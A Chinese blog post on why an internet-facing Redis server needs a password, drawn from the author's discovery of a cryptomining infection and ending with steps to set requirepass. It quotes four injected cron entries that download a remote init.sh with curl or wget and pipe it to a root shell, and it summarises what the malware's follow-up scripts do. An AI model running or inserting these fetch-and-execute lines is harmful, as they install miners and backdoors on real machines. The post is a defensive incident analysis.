首頁 > 軟體

一文詳解Redis為什麼一定要設定密碼原理

2023-03-15 06:02:49

為什麼redis要設定密碼?

內網環境可以不設定密碼,但是個人伺服器,以及線上公網伺服器就有必要設定密碼了。

昨天我檢視了一下minio的redis事件通知,檢視redis的key時發現多了幾個奇怪的key。backup1,backup2,backup3。然後我猜想應該是挖礦病毒。

如下面所示:這樣就將定時任務和指令碼注入到了我們機器當中,就會開始執行 init.sh 指令碼

backup1 "nnn*/2 * * * * root cd1 -fsSL http://en2an.top/cleanfda/init.sh | shnn"
backup2 "nnn*/3 * * * * root wget -q -O- http://en2an.top/cleanfda/init.sh | shnn"
backup3 "nnn*/4 * * * * root curl -fsSL http://en2an.top/cleanfda/init.sh | shnn"
backup4 "nnn*/5 * * * * root wd1 -q -O- http://en2an.top/cleanfda/init.sh | shnn"

init.sh指令碼內容是什麼?

en2an.top/cleanfda/in…

我們檢視這個key的value能得到它會去請求一個地址,我們開啟看一下這個init.sh到底是什麼東西。

如下圖所示是個指令碼檔案。

這個指令碼還挺多的,關閉selinux、殺掉別人的挖礦程序、殺掉CPU佔用過高的程序,如果是自己就跳過、修改破壞系統命令、自己造一個下載器downloads()函數、解鎖和加鎖定時任務、新增挖礦技術任務、設定SSH免密登陸、下載執行礦機挖礦程式、關閉防火牆、清除紀錄檔、感染已知的免密機器、下載執行is.sh。

is.sh指令碼內容是什麼?

en2an.top/cleanfda/is…

如下圖所示,上面的init.sh會下載我們的is.sh指令碼。

我們看一下這個指令碼是幹什麼。

如下圖所示,這個指令碼的內容也挺多的。下載masscan掃描器、下載pnscan掃描器、安裝 redis 用於建立 redis 未授權存取的漏洞、執行 rs.sh。

rs.sh指令碼內容是什麼?

en2an.top/cleanfda/rs…

上面的連線可以檢視這個指令碼內容是什麼。

開放 6379 埠、自動化利用redis未授權寫入定時任務,利用 pnscan 掃描b段IP 6379 埠,利用 masscan 進行掃描埠。

Redis如何設定密碼?

經過以上分析,就知道這個病毒主要是通過你的redis注入進去執行挖礦指令碼。如果你的redis沒有設定密碼,而且暴露在公網上就要小心了。

可以通過以下兩種方式對我們的redis進行設定密碼。

方式一:修改我們的redis.conf組態檔

需要注意的是這種方式因為修改了組態檔, 需要重新啟動我們的redis才能生效。

找到我們的redis.conf檔案。

Windows如下圖所示

我們編輯此檔案,找到requirepass,放開註釋,設定指定的值就,重啟redis就生效了。

Linux的話,因為大家的安裝方式可能不同,我這邊是通過docker安裝的,做了對映的。這裡就不給大家演示了,找到自己安裝在linux的redis目錄找到redis.conf組態檔,跟windows一樣的操作,設定完重啟就Ok了。

方式二

連線我們的redis,然後通過指令的方式設定密碼。

這種方式比較簡單,而且不需要重啟就生效。

下面的指令的意思就是把密碼設定為123456,公網可不要設定這麼簡單阿。

config set requirepass 123456

我們檢視一下我們的redis的密碼。

config get requirepass 

這樣我們的密碼就設定成功了,退出我們的redis使用者端再次連線的時候就生效了。

總結

公網的redis一定要設定密碼阿,不要不設定密碼,設定密碼就一個指令,非常容易,可不要偷懶噢。

以上就是一文詳解Redis為什麼一定要設定密碼原理的詳細內容,更多關於Redis設定密碼的資料請關注it145.com其它相關文章!


IT145.com E-mail:sddin#qq.com